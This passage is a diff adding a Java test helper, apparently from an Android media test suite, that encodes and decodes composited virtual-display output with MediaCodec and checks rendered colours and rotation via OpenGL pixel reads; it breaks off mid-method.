+import androidx.test.filters.SmallTest;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+/**
+ * Impl class for tests using MediaCodec encoding with composition of multiple virtual displays.
+ */
+public class EncodeVirtualDisplayWithCompositionTestImpl {
+    private static final String TAG = "EncodeVirtualDisplayWithCompositionTestImpl";
+    private static final boolean DBG = false;
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;  // 10 seconds
+    private static final long DEQUEUE_TIMEOUT_US = 3000000;  // 3 seconds
+
+    private static final int COLOR_RED =  makeColor(100, 0, 0);
+    private static final int COLOR_GREEN =  makeColor(0, 100, 0);
+    private static final int COLOR_BLUE =  makeColor(0, 0, 100);
+    private static final int COLOR_GREY =  makeColor(100, 100, 100);
+
+    public static final int BITRATE_1080p = 20000000;
+    public static final int BITRATE_720p = 14000000;
+    public static final int BITRATE_800x480 = 14000000;
+    public static final int BITRATE_DEFAULT = 10000000;
+
+    private static final int IFRAME_INTERVAL = 10;
+
+    private static final int MAX_NUM_WINDOWS = 3;
+
+    private static Handler sHandlerForRunOnMain = new Handler(Looper.getMainLooper());
+
+    private Surface mEncodingSurface;
+    private OutputSurface mDecodingSurface;
+    private volatile boolean mCodecConfigReceived = false;
+    private volatile boolean mCodecBufferReceived = false;
+    private EncodingHelper mEncodingHelper;
+    private MediaCodec mDecoder;
+    private final ByteBuffer mPixelBuf = ByteBuffer.allocateDirect(4);
+    private volatile boolean mIsQuitting = false;
+    private Throwable mTestException;
+    private VirtualDisplayPresentation mLocalPresentation;
+    private RemoteVirtualDisplayPresentation mRemotePresentation;
+    private ByteBuffer[] mDecoderInputBuffers;
+
+    /** event listener for test without verifying output */
+    private EncoderEventListener mEncoderEventListener = new EncoderEventListener() {
+        @Override
+        public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info) {
+            mCodecConfigReceived = true;
+        }
+        @Override
+        public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info) {
+            mCodecBufferReceived = true;
+        }
+    };
+
+    /* TEST_COLORS static initialization; need ARGB for ColorDrawable */
+    private static int makeColor(int red, int green, int blue) {
+        return 0xff << 24 | (red & 0xff) << 16 | (green & 0xff) << 8 | (blue & 0xff);
+    }
+
+    /**
+     * Run rendering test in a separate thread. This is necessary as {@link OutputSurface} requires
+     * constructing it in a non-test thread.
+     * @param w
+     * @param h
+     * @throws Exception
+     */
+    public void runTestRenderingInSeparateThread(final Context context, final String mimeType,
+            final int w, final int h, final boolean runRemotely, final boolean multipleWindows)
+            throws Throwable {
+        runTestRenderingInSeparateThread(
+                context, mimeType, w, h, runRemotely, multipleWindows, /* degrees */ 0, null);
+    }
+
+    public void runTestRenderingInSeparateThread(final Context context, final String mimeType,
+            final int w, final int h, final boolean runRemotely, final boolean multipleWindows,
+            final int degrees, final String decoderName) throws Throwable {
+        mTestException = null;
+        Thread renderingThread = new Thread(new Runnable() {
+            public void run() {
+                try {
+                    doTestRenderingOutput(
+                            context, mimeType, w, h, runRemotely, multipleWindows,
+                            degrees, decoderName);
+                } catch (Throwable t) {
+                    t.printStackTrace();
+                    mTestException = t;
+                }
+            }
+        });
+        renderingThread.start();
+        renderingThread.join(60000);
+        assertTrue(!renderingThread.isAlive());
+        if (mTestException != null) {
+            throw mTestException;
+        }
+    }
+
+    private void doTestRenderingOutput(final Context context, String mimeType, int w, int h,
+            boolean runRemotely, boolean multipleWindows, int degrees,
+            String decoderName) throws Throwable {
+        if (DBG) {
+            Log.i(TAG, "doTestRenderingOutput for type:" + mimeType + " w:" + w + " h:" + h);
+        }
+        try {
+            mIsQuitting = false;
+            if (decoderName == null) {
+                mDecoder = MediaCodec.createDecoderByType(mimeType);
+            } else {
+                mDecoder = MediaCodec.createByCodecName(decoderName);
+            }
+            MediaFormat decoderFormat = MediaFormat.createVideoFormat(mimeType, w, h);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+            if (degrees != 0) {
+                decoderFormat.setInteger(MediaFormat.KEY_ROTATION, degrees);
+            }
+            mDecodingSurface = new OutputSurface(w, h);
+            mDecoder.configure(decoderFormat, mDecodingSurface.getSurface(), null, 0);
+            // only scale to fit scaling mode is supported
+            mDecoder.setVideoScalingMode(MediaCodec.VIDEO_SCALING_MODE_SCALE_TO_FIT);
+            mDecoder.start();
+            mDecoderInputBuffers = mDecoder.getInputBuffers();
+
+            mEncodingHelper = new EncodingHelper();
+            mEncodingSurface = mEncodingHelper.startEncoding(mimeType, w, h,
+                    new EncoderEventListener() {
+                @Override
+                public void onCodecConfig(ByteBuffer data, BufferInfo info) {
+                    if (DBG) {
+                        Log.i(TAG, "onCodecConfig l:" + info.size);
+                    }
+                    handleEncodedData(data, info);
+                }
+
+                @Override
+                public void onBufferReady(ByteBuffer data, BufferInfo info) {
+                    if (DBG) {
+                        Log.i(TAG, "onBufferReady l:" + info.size);
+                    }
+                    handleEncodedData(data, info);
+                }
+
+                private void handleEncodedData(ByteBuffer data, BufferInfo info) {
+                    if (mIsQuitting) {
+                        if (DBG) {
+                            Log.i(TAG, "ignore data as test is quitting");
+                        }
+                        return;
+                    }
+                    int inputBufferIndex = mDecoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
+                    if (inputBufferIndex < 0) {
+                        if (DBG) {
+                            Log.i(TAG, "dequeueInputBuffer returned:" + inputBufferIndex);
+                        }
+                        return;
+                    }
+                    assertTrue(inputBufferIndex >= 0);
+                    ByteBuffer inputBuffer = mDecoderInputBuffers[inputBufferIndex];
+                    inputBuffer.clear();
+                    inputBuffer.put(data);
+                    mDecoder.queueInputBuffer(inputBufferIndex, 0, info.size,
+                            info.presentationTimeUs, info.flags);
+                }
+            });
+            GlCompositor compositor = new GlCompositor(context);
+            if (DBG) {
+                Log.i(TAG, "start composition");
+            }
+            compositor.startComposition(mEncodingSurface, w, h, multipleWindows ? 3 : 1);
+
+            if (DBG) {
+                Log.i(TAG, "create display");
+            }
+
+            Renderer renderer = null;
+            Surface windowSurface = compositor.getWindowSurface(multipleWindows? 1 : 0);
+            if (runRemotely) {
+                mRemotePresentation =
+                        new RemoteVirtualDisplayPresentation(context, windowSurface, w, h);
+                mRemotePresentation.connect();
+                mRemotePresentation.start();
+                renderer = mRemotePresentation;
+            } else {
+                mLocalPresentation = (degrees == 0)
+                        ? new VirtualDisplayPresentation(context, windowSurface, w, h)
+                        : new RotateVirtualDisplayPresentation(context, windowSurface, w, h);
+                mLocalPresentation.createVirtualDisplay();
+                mLocalPresentation.createPresentation();
+                renderer = mLocalPresentation;
+            }
+
+            if (DBG) {
+                Log.i(TAG, "start rendering and check");
+            }
+            if (degrees == 0) {
+                renderColorAndCheckResult(renderer, w, h, COLOR_RED);
+                renderColorAndCheckResult(renderer, w, h, COLOR_BLUE);
+                renderColorAndCheckResult(renderer, w, h, COLOR_GREEN);
+                renderColorAndCheckResult(renderer, w, h, COLOR_GREY);
+            } else {
+                renderRotationAndCheckResult(renderer, w, h, degrees);
+            }
+
+            mIsQuitting = true;
+            if (runRemotely) {
+                mRemotePresentation.disconnect();
+            } else {
+                mLocalPresentation.dismissPresentation();
+                mLocalPresentation.destroyVirtualDisplay();
+            }
+
+            compositor.stopComposition();
+        } finally {
+            if (mEncodingHelper != null) {
+                mEncodingHelper.stopEncoding();
+                mEncodingHelper = null;
+            }
+            if (mDecoder != null) {
+                mDecoder.stop();
+                mDecoder.release();
+                mDecoder = null;
+            }
+            if (mDecodingSurface != null) {
+                mDecodingSurface.release();
+                mDecodingSurface = null;
+            }
+        }
+    }
+
+    private static final int NUM_MAX_RETRY = 120;
+    private static final int IMAGE_WAIT_TIMEOUT_MS = 1000;
+
+    private void renderColorAndCheckResult(Renderer renderer, int w, int h,
+            int color) throws Exception {
+        BufferInfo info = new BufferInfo();
+        for (int i = 0; i < NUM_MAX_RETRY; i++) {
+            renderer.doRendering(color);
+            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
+            if (DBG) {
+                Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
+            }
+            if (bufferIndex < 0) {
+                continue;
+            }
+            mDecoder.releaseOutputBuffer(bufferIndex, true);
+            if (mDecodingSurface.checkForNewImage(IMAGE_WAIT_TIMEOUT_MS)) {
+                mDecodingSurface.drawImage();
+                if (checkSurfaceFrameColor(w, h, color)) {
+                    Log.i(TAG, "color " + Integer.toHexString(color) + " matched");
+                    return;
+                }
+            } else if(DBG) {
+                Log.i(TAG, "no rendering yet");
+            }
+        }
+        fail("Color did not match");
+    }
+
+    private void renderRotationAndCheckResult(Renderer renderer, int w, int h,
+            int degrees) throws Exception {
+        BufferInfo info = new BufferInfo();
+        for (int i = 0; i < NUM_MAX_RETRY; i++) {
+            renderer.doRendering(-1);
+            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
+            if (DBG) {
+                Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
+            }
+            if (bufferIndex < 0) {
+                continue;
+            }
+            mDecoder.releaseOutputBuffer(bufferIndex, true);
+            if (mDecodingSurface.checkForNewImage(IMAGE_WAIT_TIMEOUT_MS)) {
+                mDecodingSurface.drawImage();
+                if (checkRotatedFrameQuadrants(w, h, degrees)) {
+                    Log.i(TAG, "output rotated " + degrees + " degrees");
+                    return;
+                }
+            } else if(DBG) {
+                Log.i(TAG, "no rendering yet");
+            }
+        }
+        fail("Frame not properly rotated");
+    }
+
+    private boolean checkRotatedFrameQuadrants(int w, int h, int degrees) {
+        // Read a pixel from each quadrant of the surface.
+        int ww = w / 4;
+        int hh = h / 4;
+        // coords is ordered counter clockwise (note, gl 0,0 is bottom left)
+        int[][] coords = new int[][] {{ww, hh}, {ww * 3, hh}, {ww * 3, hh * 3}, {ww, hh * 3}};
+        List<Integer> expected = new ArrayList<>();
+        List<Integer> colors = Arrays.asList(
+                new Integer[] {COLOR_GREEN, COLOR_BLUE, COLOR_RED, COLOR_GREY});
+        expected.addAll(colors);
+        expected.addAll(colors);
+        int offset = (degrees / 90) % 4;
+        for (int i = 0; i < coords.length; i++) {
+            int[] c = coords[i];
+            int x = c[0];
+            int y = c[1];
+            GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
+            int r = mPixelBuf.get(0) & 0xff;
+            int g = mPixelBuf.get(1) & 0xff;
+            int b = mPixelBuf.get(2) & 0xff;
+            // adding the offset to rotate expected colors clockwise
+            int color = expected.get(offset + i);
+            int redExpected = (color >> 16) & 0xff;
+            int greenExpected = (color >> 8) & 0xff;
+            int blueExpected = color & 0xff;
+            Log.i(TAG, String.format("(%d,%d) expecting %d,%d,%d saw %d,%d,%d",
+                    x, y, redExpected, greenExpected, blueExpected, r, g, b));
+            if (!approxEquals(redExpected, r) || !approxEquals(greenExpected, g)
+                    || !approxEquals(blueExpected, b)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean checkSurfaceFrameColor(int w, int h, int color) {
+        // Read a pixel from the center of the surface.  Might want to read from multiple points
+        // and average them together.
+        int x = w / 2;
+        int y = h / 2;
+        GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
+        int r = mPixelBuf.get(0) & 0xff;
+        int g = mPixelBuf.get(1) & 0xff;
+        int b = mPixelBuf.get(2) & 0xff;
+
+        int redExpected = (color >> 16) & 0xff;
+        int greenExpected = (color >> 8) & 0xff;
+        int blueExpected = color & 0xff;
+        if (approxEquals(redExpected, r) && approxEquals(greenExpected, g)
+                && approxEquals(blueExpected, b)) {
+            return true;
+        }
+        Log.i(TAG, "expected 0x" + Integer.toHexString(color) + " got 0x"
+                + Integer.toHexString(makeColor(r, g, b)));
+        return false;
+    }
+
+    /**
+     * Determines if two color values are approximately equal.
+     */
+    private static boolean approxEquals(int expected, int actual) {
+        // allow differences between BT.601 and BT.709 conversions during encoding/decoding for now
+        final int MAX_DELTA = 17;
+        return Math.abs(expected - actual) <= MAX_DELTA;
+    }
+
+    private static final int NUM_CODEC_CREATION = 5;
+    private static final int NUM_DISPLAY_CREATION = 10;
+    private static final int NUM_RENDERING = 10;
+    public void doTestVirtualDisplayRecycles(final Context context, int numDisplays)
+            throws Exception {
+        Size maxSize = getMaxSupportedEncoderSize();
+        if (maxSize == null) {
+            Log.i(TAG, "no codec found, skipping");
+            return;
+        }
+        VirtualDisplayPresentation[] virtualDisplays = new VirtualDisplayPresentation[numDisplays];
+        for (int i = 0; i < NUM_CODEC_CREATION; i++) {
+            mCodecConfigReceived = false;
+            mCodecBufferReceived = false;
+            if (DBG) {
+                Log.i(TAG, "start encoding");
+            }
+            EncodingHelper encodingHelper = new EncodingHelper();
+            try {
+                mEncodingSurface = encodingHelper.startEncoding(
+                        MIME_TYPE, maxSize.getWidth(), maxSize.getHeight(), mEncoderEventListener);
+                GlCompositor compositor = new GlCompositor(context);
+                if (DBG) {
+                    Log.i(TAG, "start composition");
+                }
+                compositor.startComposition(mEncodingSurface,
+                        maxSize.getWidth(), maxSize.getHeight(), numDisplays);
+                for (int j = 0; j < NUM_DISPLAY_CREATION; j++) {
+                    if (DBG) {
+                        Log.i(TAG, "create display");
+                    }
+                    for (int k = 0; k < numDisplays; k++) {
+                        virtualDisplays[k] =
+                            new VirtualDisplayPresentation(context,
+                                    compositor.getWindowSurface(k),
+                                    maxSize.getWidth()/numDisplays, maxSize.getHeight());
+                        virtualDisplays[k].createVirtualDisplay();
+                        virtualDisplays[k].createPresentation();
+                    }
+                    if (DBG) {
+                        Log.i(TAG, "start rendering");
+                    }
+                    for (int k = 0; k < NUM_RENDERING; k++) {
+                        for (int l = 0; l < numDisplays; l++) {
+                            virtualDisplays[l].doRendering(COLOR_RED);
+                        }
+                        // do not care how many frames are actually rendered.
+                        Thread.sleep(1);
+                    }
+                    for (int k = 0; k < numDisplays; k++) {
+                        virtualDisplays[k].dismissPresentation();
+                        virtualDisplays[k].destroyVirtualDisplay();
+                    }
+                    compositor.recreateWindows();
+                }
+                if (DBG) {
+                    Log.i(TAG, "stop composition");
+                }
+                compositor.stopComposition();
+            } finally {
+                if (DBG) {
+                    Log.i(TAG, "stop encoding");
+                }
+                encodingHelper.stopEncoding();
+                assertTrue(mCodecConfigReceived);
+                assertTrue(mCodecBufferReceived);
+            }
+        }
+    }
+
+    interface EncoderEventListener {
+        public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info);
+        public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info);
+    }
+
+    private class EncodingHelper {
+        private MediaCodec mEncoder;
+        private volatile boolean mStopEncoding = false;
+        private EncoderEventListener mEventListener;
+        private String mMimeType;
+        private int mW;
+        private int mH;
+        private Thread mEncodingThread;
+        private Surface mEncodingSurface;
+        private Semaphore mInitCompleted = new Semaphore(0);
+        private Exception mEncodingError;
+
+        Surface startEncoding(String mimeType, int w, int h, EncoderEventListener eventListener) {
+            mStopEncoding = false;
+            mMimeType = mimeType;
+            mW = w;
+            mH = h;
+            mEventListener = eventListener;
+            mEncodingError = null;
+            mEncodingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        doEncoding();
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                        // Throwing the exception here will crash the thread and subsequently the
+                        // entire test process. We save it here and throw later in stopEncoding().
+                        mEncodingError = e;
+                    }
+                }
+            });
+            mEncodingThread.start();
+            try {
+                if (DBG) {
+                    Log.i(TAG, "wait for encoder init");
+                }
+                mInitCompleted.acquire();
+                if (DBG) {
+                    Log.i(TAG, "wait for encoder done");
+                }
+            } catch (InterruptedException e) {
+                fail("should not happen");
+            }
+            return mEncodingSurface;
+        }
+
+        void stopEncoding() throws Exception {
+            try {
+                mStopEncoding = true;
+                mEncodingThread.join();
+            } catch(InterruptedException e) {
+                // just ignore
+            } finally {
+                mEncodingThread = null;
+            }
+            // Throw here if any error occurred in the encoding thread.
+            if (mEncodingError != null) {
+                throw mEncodingError;
+            }
+        }
+
+        private void doEncoding() throws Exception {
+            final int TIMEOUT_USEC_NORMAL = 1000000;
+            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mW, mH);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            int bitRate = BITRATE_DEFAULT;
+            if (mW == 1920 && mH == 1080) {
+                bitRate = BITRATE_1080p;
+            } else if (mW == 1280 && mH == 720) {
+                bitRate = BITRATE_720p;
+            } else if (mW == 800 && mH == 480) {
+                bitRate = BITRATE_800x480;
+            }
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            String codecName = null;
+            if ((codecName = mcl.findEncoderForFormat(format)) == null) {
+                throw new RuntimeException("encoder "+ MIME_TYPE + " not support : " + format.toString());
+            }
+
+            try {
+                mEncoder = MediaCodec.createByCodecName(codecName);
+                mEncoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+                mEncodingSurface = mEncoder.createInputSurface();
+                mEncoder.start();
+                mInitCompleted.release();
+                if (DBG) {
+                    Log.i(TAG, "starting encoder");
+                }
+                ByteBuffer[] encoderOutputBuffers = mEncoder.getOutputBuffers();
+                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+                while (!mStopEncoding) {
+                    int index = mEncoder.dequeueOutputBuffer(info, TIMEOUT_USEC_NORMAL);
+                    if (DBG) {
+                        Log.i(TAG, "encoder dequeOutputBuffer returned " + index);
+                    }
+                    if (index >= 0) {
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                            Log.i(TAG, "codec config data");
+                            ByteBuffer encodedData = encoderOutputBuffers[index];
+                            encodedData.position(info.offset);
+                            encodedData.limit(info.offset + info.size);
+                            mEventListener.onCodecConfig(encodedData, info);
+                            mEncoder.releaseOutputBuffer(index, false);
+                        } else if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            Log.i(TAG, "EOS, stopping encoding");
+                            break;
+                        } else {
+                            ByteBuffer encodedData = encoderOutputBuffers[index];
+                            encodedData.position(info.offset);
+                            encodedData.limit(info.offset + info.size);
+                            mEventListener.onBufferReady(encodedData, info);
+                            mEncoder.releaseOutputBuffer(index, false);
+                        }
+                    } else if (index == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED){
+                        Log.i(TAG, "output buffer changed");
+                        encoderOutputBuffers = mEncoder.getOutputBuffers();
+                    }
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+                throw e;
+            } finally {
+                if (mEncoder != null) {
+                    mEncoder.stop();
+                    mEncoder.release();
+                    mEncoder = null;
+                }
+                if (mEncodingSurface != null) {
+                    mEncodingSurface.release();
+                    mEncodingSurface = null;
+                }
+            }
+        }
+    }
+
+    /**
+     * Handles composition of multiple SurfaceTexture into a single Surface
+     */
+    private static class GlCompositor implements SurfaceTexture.OnFrameAvailableListener {
+        private final Context mContext;
+        private Surface mSurface;
+        private int mWidth;
+        private int mHeight;
+        private volatile int mNumWindows;
+        private GlWindow mTopWindow;
+        private Thread mCompositionThread;
+        private Semaphore mStartCompletionSemaphore;
+        private Semaphore mRecreationCompletionSemaphore;
+        private Looper mLooper;
+        private Handler mHandler;
+        private InputSurface mEglHelper;
+        private int mGlProgramId = 0;
+        private int mGluMVPMatrixHandle;
+        private int mGluSTMatrixHandle;
+        private int mGlaPositionHandle;
+        private int mGlaTextureHandle;
+        private float[] mMVPMatrix = new float[16];
+        private TopWindowVirtualDisplayPresentation mTopPresentation;
+
+        private static final String VERTEX_SHADER =
+                "uniform mat4 uMVPMatrix;\n" +
+                "uniform mat4 uSTMatrix;\n" +
+                "attribute vec4 aPosition;\n" +
+                "attribute vec4 aTextureCoord;\n" +
+                "varying vec2 vTextureCoord;\n" +
+                "void main() {\n" +
+                "  gl_Position = uMVPMatrix * aPosition;\n" +
+                "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+                "}\n";
+
+        private static final String FRAGMENT_SHADER =
+                "#extension GL_OES_EGL_image_external : require\n" +
+                "precision mediump float;\n" +
+                "varying vec2 vTextureCoord;\n" +
+                "uniform samplerExternalOES sTexture;\n" +
+                "void main() {\n" +
+                "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
+                "}\n";
+
+        public GlCompositor(Context context) {
+            mContext = context;
+        }
+
+        void startComposition(Surface surface, int w, int h, int numWindows) throws Exception {
+            mSurface = surface;
+            mWidth = w;
+            mHeight = h;
+            mNumWindows = numWindows;
+            mCompositionThread = new Thread(new CompositionRunnable());
+            mStartCompletionSemaphore = new Semaphore(0);
+            mCompositionThread.start();
+            waitForStartCompletion();
+        }
+
+        void stopComposition() {
+            try {
+                if (mLooper != null) {
+                    mLooper.quit();
+                    mCompositionThread.join();
+                }
+            } catch (InterruptedException e) {
+                // don't care
+            }
+            mCompositionThread = null;
+            mSurface = null;
+            mStartCompletionSemaphore = null;
+        }
+
+        Surface getWindowSurface(int windowIndex) {
+            return mTopPresentation.getSurface(windowIndex);
+        }
+
+        void recreateWindows() throws Exception {
+            mRecreationCompletionSemaphore = new Semaphore(0);
+            Message msg = mHandler.obtainMessage(CompositionHandler.DO_RECREATE_WINDOWS);
+            mHandler.sendMessage(msg);
+            if(!mRecreationCompletionSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS)) {
+                fail("recreation timeout");
+            }
+            mTopPresentation.waitForSurfaceReady(DEFAULT_WAIT_TIMEOUT_MS);
+        }
+
+        @Override
+        public void onFrameAvailable(SurfaceTexture surface) {
+            if (DBG) {
+                Log.i(TAG, "onFrameAvailable " + surface);
+            }
+            GlWindow w = mTopWindow;
+            if (w != null) {
+                w.markTextureUpdated();
+                requestUpdate();
+            } else {
+                Log.w(TAG, "top window gone");
+            }
+        }
+
+        private void requestUpdate() {
+            Thread compositionThread = mCompositionThread;
+            if (compositionThread == null || !compositionThread.isAlive()) {
+                return;
+            }
+            Message msg = mHandler.obtainMessage(CompositionHandler.DO_RENDERING);
+            mHandler.sendMessage(msg);
+        }
+
+        private int loadShader(int shaderType, String source) throws GlException {
+            int shader = GLES20.glCreateShader(shaderType);
+            checkGlError("glCreateShader type=" + shaderType);
+            GLES20.glShaderSource(shader, source);
+            GLES20.glCompileShader(shader);
+            int[] compiled = new int[1];
+            GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
+            if (compiled[0] == 0) {
+                Log.e(TAG, "Could not compile shader " + shaderType + ":");
+                Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
+                GLES20.glDeleteShader(shader);
+                shader = 0;
+            }
+            return shader;
+        }
+
+        private int createProgram(String vertexSource, String fragmentSource) throws GlException {
+            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
+            if (vertexShader == 0) {
+                return 0;
+            }
+            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
+            if (pixelShader == 0) {
+                return 0;
+            }
+
+            int program = GLES20.glCreateProgram();
+            checkGlError("glCreateProgram");
+            if (program == 0) {
+                Log.e(TAG, "Could not create program");
+            }
+            GLES20.glAttachShader(program, vertexShader);
+            checkGlError("glAttachShader");
+            GLES20.glAttachShader(program, pixelShader);
+            checkGlError("glAttachShader");
+            GLES20.glLinkProgram(program);
+            int[] linkStatus = new int[1];
+            GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
+            if (linkStatus[0] != GLES20.GL_TRUE) {
+                Log.e(TAG, "Could not link program: ");
+                Log.e(TAG, GLES20.glGetProgramInfoLog(program));
+                GLES20.glDeleteProgram(program);
+                program = 0;
+            }
+            return program;
+        }
+
+        private void initGl() throws GlException {
+            mEglHelper = new InputSurface(mSurface);
+            mEglHelper.makeCurrent();
+            mGlProgramId = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+            mGlaPositionHandle = GLES20.glGetAttribLocation(mGlProgramId, "aPosition");
+            checkGlError("glGetAttribLocation aPosition");
+            if (mGlaPositionHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for aPosition");
+            }
+            mGlaTextureHandle = GLES20.glGetAttribLocation(mGlProgramId, "aTextureCoord");
+            checkGlError("glGetAttribLocation aTextureCoord");
+            if (mGlaTextureHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for aTextureCoord");
+            }
+            mGluMVPMatrixHandle = GLES20.glGetUniformLocation(mGlProgramId, "uMVPMatrix");
+            checkGlError("glGetUniformLocation uMVPMatrix");
+            if (mGluMVPMatrixHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for uMVPMatrix");
+            }
+            mGluSTMatrixHandle = GLES20.glGetUniformLocation(mGlProgramId, "uSTMatrix");
+            checkGlError("glGetUniformLocation uSTMatrix");
+            if (mGluSTMatrixHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for uSTMatrix");
+            }
+            Matrix.setIdentityM(mMVPMatrix, 0);
+            Log.i(TAG, "initGl w:" + mWidth + " h:" + mHeight);
+            GLES20.glViewport(0, 0, mWidth, mHeight);
+            float[] vMatrix = new float[16];
+            float[] projMatrix = new float[16];
+            // max window is from (0,0) to (mWidth - 1, mHeight - 1)
+            float wMid = mWidth / 2f;
+            float hMid = mHeight / 2f;
+            // look from positive z to hide windows in lower z
+            Matrix.setLookAtM(vMatrix, 0, wMid, hMid, 5f, wMid, hMid, 0f, 0f, 1.0f, 0.0f);
+            Matrix.orthoM(projMatrix, 0, -wMid, wMid, -hMid, hMid, 1, 10);
+            Matrix.multiplyMM(mMVPMatrix, 0, projMatrix, 0, vMatrix, 0);
+            createWindows();
+
+        }
+
+        private void createWindows() throws GlException {
+            mTopWindow = new GlWindow(this, 0, 0, mWidth, mHeight);
+            mTopWindow.init();
+            mTopPresentation = new TopWindowVirtualDisplayPresentation(mContext,
+                    mTopWindow.getSurface(), mWidth, mHeight, mNumWindows);
+            mTopPresentation.createVirtualDisplay();
+            mTopPresentation.createPresentation();
+            ((TopWindowPresentation) mTopPresentation.getPresentation()).populateWindows();
+        }
+
+        private void cleanupGl() {
+            if (mTopPresentation != null) {
+                mTopPresentation.dismissPresentation();
+                mTopPresentation.destroyVirtualDisplay();
+                mTopPresentation = null;
+            }
+            if (mTopWindow != null) {
+                mTopWindow.cleanup();
+                mTopWindow = null;
+            }
+            if (mEglHelper != null) {
+                mEglHelper.release();
+                mEglHelper = null;
+            }
+        }
+
+        private void doGlRendering() throws GlException {
+            if (DBG) {
+                Log.i(TAG, "doGlRendering");
+            }
+            mTopWindow.updateTexImageIfNecessary();
+            GLES20.glClearColor(0.0f, 1.0f, 0.0f, 1.0f);
+            GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
+
+            GLES20.glUseProgram(mGlProgramId);
+            GLES20.glUniformMatrix4fv(mGluMVPMatrixHandle, 1, false, mMVPMatrix, 0);
+            mTopWindow.onDraw(mGluSTMatrixHandle, mGlaPositionHandle, mGlaTextureHandle);
+            checkGlError("window draw");
+            if (DBG) {
+                final IntBuffer pixels = IntBuffer.allocate(1);
+                GLES20.glReadPixels(mWidth / 2, mHeight / 2, 1, 1,
+                        GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, pixels);
+                Log.i(TAG, "glReadPixels returned 0x" + Integer.toHexString(pixels.get(0)));
+            }
+            mEglHelper.swapBuffers();
+        }
+
+        private void doRecreateWindows() throws GlException {
+            mTopPresentation.dismissPresentation();
+            mTopPresentation.destroyVirtualDisplay();
+            mTopWindow.cleanup();
+            createWindows();
+            mRecreationCompletionSemaphore.release();
+        }
+
+        private void waitForStartCompletion() throws Exception {
+            if (!mStartCompletionSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS)) {
+                fail("start timeout");
+            }
+            mStartCompletionSemaphore = null;
+            mTopPresentation.waitForSurfaceReady(DEFAULT_WAIT_TIMEOUT_MS);
+        }
+
+        private class CompositionRunnable implements Runnable {
+            @Override
+            public void run() {
+                try {
+                    Looper.prepare();
+                    mLooper = Looper.myLooper();
+                    mHandler = new CompositionHandler();
+                    initGl();
+                    // init done
+                    mStartCompletionSemaphore.release();
+                    Looper.loop();
+                } catch (GlException e) {
+                    e.printStackTrace();
